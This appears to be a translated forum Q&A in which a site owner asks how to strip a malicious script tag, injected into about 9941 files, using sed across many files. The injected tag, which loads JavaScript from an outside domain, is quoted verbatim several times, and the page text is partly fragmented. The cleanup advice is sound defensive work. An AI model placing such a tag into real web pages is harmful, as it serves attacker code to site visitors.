Linux 在多个文件中搜索带有特殊字符的一大块字符串并替换

Linux 在多个文件中搜索带有特殊字符的一大块字符串并替换,linux,sed,grep,replace,Linux,Sed,Grep,Replace,我的服务器本周被感染,攻击者运行了一个脚本,在几个文件中注入了一个脚本,现在我的域在谷歌上被列入黑名单 注入的代码如下: <script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script> 此命令返回9941个文件:/ 我想运行一个脚本,搜索,我会尝试采取更严厉的措施,以防做了更狡猾的事情 也就是说,

我的服务器本周被感染,攻击者运行了一个脚本,在几个文件中注入了一个脚本,现在我的域在谷歌上被列入黑名单

注入的代码如下:

<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>
此命令返回9941个文件:/


我想运行一个脚本,搜索
,我会尝试采取更严厉的措施,以防做了更狡猾的事情

也就是说,sed似乎是继续进行这项工作的方式。以下是搜索文本并替换整行的示例:


您可能需要在几个文件上测试脚本,并在开始进行更改之前备份所有内容。

您可以使用sed脚本和命令:

sed -i.bak -f script.sed file[s]
script.sed

s#<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>#""#g
s##
-i
用于使用备份进行就地编辑

s#<script language="JavaScript" src="http://sexfromindia.com/linkex/jquery-1.6.5.min.js" type="text/javascript"></script>#""#g